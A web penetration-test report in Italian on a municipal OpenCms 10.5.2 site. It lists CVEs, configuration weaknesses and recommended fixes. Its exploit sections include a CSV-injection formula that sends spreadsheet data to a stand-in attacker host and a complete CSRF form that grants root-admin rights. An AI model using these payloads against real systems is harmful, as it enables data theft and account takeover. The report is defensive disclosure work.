Rapporto di scansione

Scansione delle vulnerabilità sull'infrastruttura web del Comune di

Indice dei contenuti

Introduzione

La seguente relazione descrive l'attività di pentesting eseguita sulla proprietà web del Comune di ##########.

Contesto:

Il cliente opera nell'ambito della pubblica amministrazione e il suo sito web (http://www.comune.##########/home/) presenta un portale di servizi ai suoi utenti, tra questi una ricerca di documenti pubblici, un notiziario e una webcam in tempo reale.

L'attività di pentesting web si prefigge l'obiettivo principale di applicare le metodologie correnti nell'ambito della sicurezza web e tracciare un quadro di "buona salute" dell'infrastruttura web del cliente. Questo permette non solo di rassicurarsi sullo stato generale della propria attività in ambito sicurezza, ma anche di individuare possibili criticità con un conseguente piano di azione correttivo.

Il report infine fornisce un promemoria sulle best practices da applicare in ambito sicurezza generale e in maniera più pertinente sull'architettura della proprietà web del cliente.

Portata e obiettivi dell'attività:

- Reconnaissance/Raccolta informazioni: la fase preliminare è molto importante per inquadrare il tipo di target oggetto dell'attività. Il cliente ha fornito il nome del dominio web della sua attività e alcuni file di configurazione che ci permettono di avere un quadro più dettagliato per l'analisi.
- Scanning: una volta ottenute le informazioni generiche, abbiamo delineato il tipo di architettura web usata dal cliente e le sue componenti, di default o aggiunte successivamente per le sue funzionalità.
  In una prima fase "grey box" abbiamo analizzato le componenti attraverso dei database standard di vulnerabilità CVE (Common Vulnerabilities and Exposure) e determinato se sussistono le condizioni per attivare la vulnerabilità di queste componenti. In questo caso può essere fornita una validazione attraverso un exploit, ossia si può simulare il cyberattacco come potrebbe verificarsi nella realtà.

Nella seconda fase "black box" si è testata l'infrastruttura web a potenziali vulnerabilità non direttamente legate all'architettura in uso ma piuttosto ad alcune scelte di design/configurazione/customizzazione del server.

- Valutazione del rischio delle vulnerabilità riscontrate, ripristino delle condizioni iniziali e reporting: In quest'ultima fase abbiamo analizzato le criticità trovate e i possibili scenari worst case. I setup necessari all'attività di pentesting sono stati annullati per riportare il sito web e il suo ambiente al suo stato pre-attività.

Fase scan - Identikit

- URL: www.comune.##########.it
- Indirizzo IP: ##########
- Porte: 80(HTTP), 113(Ident - esposta ma chiusa), 443(HTTPS)
- Server Applicazione: OpenCms/10.5.2
- Server Web/OS: Apache/2.2.15 (CentOS)
- Certificato SSL non valido

Dettagli CMS OpenCMS:
- jQuery 1.11.0
- Tema: Apollo Template di Alkacon OpenCMS
- La versione 10.5.2 presenta 2 vulnerabilità catalogate dall'organizzazione CVE: CVE-2019-11819 con score 6.8, CVE-2019-11818 con score 4.3, CVE-2018-8811 con score 6.8

Problema di configurazione: Messaggi di debug per gli errori server

Vulnerabilità applicazione OpenCMS

OpenCMS 10.5.2 presenta le seguenti vulnerabilità tracciate CVE:

-CVE-2019-11819 (punteggio: 6.8)
-CVE-2019-11818 (punteggio: 4.3)

-CVE-2018-8811 (punteggio: 6.8)

Questi score CVE presentano delle vulnerabilità di tipo CSRF(cross site request forgery) e CSV injection (iniezione e assente sanitizzazione di file csv) che possono portare al recupero di credenziali amministratore e disclosure di dati potenzialmente privati.

CVE-2019-11819: CSV injection

Questa vulnerabilità di criticità media presenta un rischio per coloro che utilizzano la funzionalità di esportazione CSV presente in OpenCMS.
CSV è il formato testuale fornito a Excel per la creazione dei fogli di calcolo. Excel presenta alcune funzioni a rischio sicurezza, una tra tutte è SERVIZIO.WEB (https://support.office.com/it-it/article/servizio-web-funzione-servizio-web-0546a35a-ecc6-4739-aed7-c0b7ce1562c4) che dà la possibilità di ottenere dati da un URL internet.

Possibile Exploit

Un cyberavversario per sfruttare questa vulnerabilità deve poter:

- Utilizzare un modulo di invio dati presente nel sito (es: registrazione nuovo utente, usare un formulario di contatto, ecc.) e inserire nel campo nome del modulo una sequenza di caratteri in questa forma:
  =SERVIZIO.WEB("www.sitohacker.com?p="&A1&A2&A3..&D50), dove SERVIZIO.WEB è la suddetta funzione Excel e A1,A2..D50 sono le celle di un file Excel
- I dati immessi nel modulo sono in seguito esportati in un file csv e letto attraverso un programma come Microsoft Excel o LibreOffice Calc
- Aperto il file nel programma di calcolo, la funzione SERVIZIO.WEB effettua una richiesta HTTP verso il sito controllato dal cyberavversario (in questo caso chiamato con il nome fittizio sitohacker.com) e i contenuti del foglio sono passati come testo al parametro query "p". Il foglio potrebbe infatti presentare dati di altri utenti, con nomi, email, numeri di telefono, inviati al sito del cyberavversario all'apertura del foglio

Soluzione

- Per risolvere questa vulnerabilità è sufficiente aggiornare OpenCMS alla versione più recente

CVE-2018-8811: Cross-site request forgery

La versione presente di OpenCMS presenta dei form (modulo dati utente, come quello login) non sicuri a sufficienza, vulnerabili a contraffazione da siti esterni (cross site request forgery). Attraverso il CSRF è in grado di “mascherare” alcune pagine del sito vittima all’interno di un sito malevolo da lui controllato. Queste pagine una volta inserite nel sito malevolo possono compiere azioni attraverso la navigazione di utente di tipo amministratore. Le azioni compiute dall’amministratore sul sito malevolo possono ad esempio modificare la configurazione degli accessi del sito, senza che l’amministratore ne sia al corrente.

Possibile exploit:

- Il cyberavversario viene a conoscenza dell’indirizzo email del sito, in questo amministratore@mail.com e gli invia un messaggio phishing, ad esempio un messaggio urgente che l’ammistratore è interessato a verificare.
- All’interno della mail il cyberavversario include un link che manda verso il suo sito, www.sitohacker.com/urgente
- All’interno della pagina il cyberavversario inserisce un modulo che normalmente è presente nel sito vittima, in questo caso specifico avrà la forma seguente:

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.146.131:8080/opencms/system/workplace/admin/accounts/user_role.jsp"
      <input type="hidden" name="dialogtype" value="" />
      <input type="hidden" name="root" value="" />
      <input type="hidden" name="sortcol" value="" />
      <input type="hidden" name="preactiondone" value="" />
      <input type="hidden" name="oufqn" value="" />
      <input type="hidden" name="resource" value="" />
      <input type="hidden" name="userid" value="replace with actual user id of low privileged user."
      <input type="hidden" name="closelink" value="&#37;2Fopencms&#37;2Fsystem&#37;2Fworkplace&#37;2
      <input type="hidden" name="framename" value="" />
      <input type="hidden" name="ispopup" value="" />
      <input type="hidden" name="originalparams" value="" />
      <input type="hidden" name="message" value="" />
      <input type="hidden" name="selitems" value="RoleRootAdmins" />
      <input type="hidden" name="title" value="" />
      <input type="hidden" name="style" value="new" />
      <input type="hidden" name="page" value="" />
      <input type="hidden" name="base" value="" />
      <input type="hidden" name="path" value="&#37;2Faccounts&#37;2Forgunit&#37;2Fusers&#37;2Fedit&#
      <input type="hidden" name="action" value="listmultiaction" />
      <input type="hidden" name="searchfilter" value="" />
      <input type="hidden" name="redirect" value="" />
      <input type="hidden" name="force" value="" />
      <input type="hidden" name="formname" value="lsre&#45;form" />
      <input type="hidden" name="listaction" value="ma" />
      <input type="hidden" name="listMultiAction" value="RoleRootAdmins" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

- Questo modulo malevolo viene eseguito automaticamente all'apertura del sito del cyberavversario e riesce a garantire un'accesso di tipo amministratore all'utente cyberavversario
- Una volta inviata la richiesta, il cyberavversario può effettuare login come amministratore ed avere totale controllo del sito

Soluzione

Per risolvere questa vulnerabilità è sufficiente:

- aggiornare OpenCMS alla versione più recente
- Verificare l'uso di token nel form coinvolto ("http://192.168.146.131:8080/opencms/system/workplace/admin/accounts/user_role.jsp")

Analisi Plugins e Temi

E' visibile dall'esterno del sito un solo modulo/plugin, "Apollo Unify" di Alkacon OpenCMS, un modulo open-source (https://github.com/alkacon/apollo-template) che ad oggi non presenta problemi di vulnerabilità.

Vulnerabilità individuate con approccio "Black box"

Il pentesting ha individuato alcune risorse di tipo direttorio, pagine di login e di errori database.

Pagina Login

La pagina login all'area privata è stata rilevata essere presente all'url http://www.comune.##########.it/system/login. L'approccio fuzzing adottato permette di provare centinaia di percorsi url tipici fino a capitare alla pagina di interesse.

La pagina login adotta un modulo opencms riconosciuto dalla comunità degli sviluppatori ma presente due potenziali debolezze:

- La connessione avviene attraverso protocollo "in chiaro" HTTP: i login attraverso HTTP sono particolarmente suscettibili ad attacchi di tipo "sniffing": un cyberavversario presente nella rete LAN del comune, ad esempio, potrebbe "monitorare" le connessioni nella rete locale e intercettare le credenziali di altri utenti
- Il sistema non dispone di difese contro attacchi di tipo brute force. Una pagina login che non presenta un blocco a troppi tentativi di login può diventare bersaglio di un attacco di un cyberavversario. Un attacco automatico può tentare centinaia o migliaia di password al secondo e se quest'ultima non è sufficientemente complessa l'attacco potrebbe avere successo nell'arco di ore/giorni.

Pagine Errori DB

Attraverso una ricerca nei DNS, è possibile rinvenire il nome e il dominio di hosting del sito, in questo caso opencms04.##########.it.
Attraverso una ricerca rileviamo delle pagine controllate da questo hosting.

Questa pagina presenta un messaggio di errore HTTP500 (Errore Server) che può essere utile al cyberavversario per ottenere informazioni in più sui sistemi interni. Di particolare interesse i dati dell'host db riportati: 192..../siscotel, che delineano:

- Database PostgreSQL
- Indirizzo Hosting e nome schema
- Versione

Pagine Direttorio

Il sito presente alcune pagine con contenuto direttorio:
http://opencms04.##########

Le pagine direttorio sono un "campanello d'allarme" in quanto spesso indicano un problema nella configurazione dei permessi cartelle lato server.

In questo caso riscontriamo però un blocco di accesso alle directory superiori, quindi il cyberavversario è limitato alla visione delle suddette risorse.

Privacy WHOIS

Attraverso una query al database dei domini WHOIS è stato possibile identificare i nomi dei referenti tecnici del sito:

- ##########
- ##########

I dati personali presenti nei database whois con privacy disabilitata permettono agli hacker di indirizzare un attacco verso i referenti attraverso mail/messaggeria. E' bene abilitare la privacy quando si registra un dominio.

Sommario Scan

Certificato SSL	Non valido - Il certificato presentato dal sito rilasciato al dominio comunemodello.imteam.it non corrisponde al dominio in analisi

	www.##########.it
Vulnerabilità CMS	3 Vulnerabilità CVE per OpenCMS 10.5.2
Vulnerabilità plugins	N.A.
Vulnerabilità temi	Nessuna vulnerabilità per il modulo in uso “Apollo Unify” di Alkacon OpenCMS
Disclosure risorse	Pagina login, errori Database
Header HTTP	N.A.
Protezioni firewall applicativo	Nessun WAF rilevato
Porte aperte	Solo porte HTTP/S

Rating del Rischio e componenti vulnerabili

Il sito presenta alcune vulnerabilità a livello applicazione e alcuni problemi nei privilegi di accesso delle risorse.
Le seguenti raccomandazioni permettono di mitigare le criticità riscontrate:

- Aggiornare la versione **OpenCMS** alla più recente per risolvere le vulnerabilità CVE per versioni <= 10.5.2.
- Installare un **certificato SSL valido e aggiornato**. I certificati SSL sono importanti ad assicurare l’autenticità del dominio e evitare attacchi MITM (Man in the middle) particolarmente rischiosi.
- Il server deve eseguire l’upgrade automatico delle connessioni HTTP ad HTTPS. Le connessioni **HTTP sono vulnerabili ad attacchi di tipo sniffing**, dove i dati trasmessi “in chiaro” possono essere intercettati dagli altri utenti della rete locale.
- Assicurarsi che il router predisposto per la rete LAN non sia vulnerabile ad attacchi di tipo **WPS Pixie Dust**. Un attacco al router può permettere l’accesso alla rete locale dell’ufficio ad utenti esterni senza credenziali.
- Predisporre una protezione verso gli attacchi login brute force.
- Predisporre un ##########
- Abilitare la privacy nel registro WHOIS del dominio web

Reminder Best Practices

- Amministrazione server:
- Accertarsi che la comunicazione verso il server sia criptata (SSL per HTTP, sFTP per il trasferimento file)
- #########
- Controllare accesso dei file PHP,##############
- Cambiare ##################
- Utilizzare autenticazione ##############
- Utilizzare sistemi di notifica#########
- Effettuare i backup ################
- Mantenere il certificato##########
- Se possibile, limitare l'accesso##########

- Controllo utenti
  - Fornire ##########utenti del sito.
  - Revocare ####### disuso
  - Richiedere l'############## con privilegi inferiori

Conclusioni

La relazione riporta l'attività di pentesting svolta sul sito www.##########.it . L'attività di scansione "black-box" e "grey-box" ha permesso di individuare alcune vulnerabilità critiche. Le vulnerabilità non sono state attivate attraverso una fase di exploit ma è stato sufficiente fornire al cliente una validazione teorica.
E' stato fornito un piano di azione correttivo e delle raccomandazioni generali per mantenere il sito in sicurezza.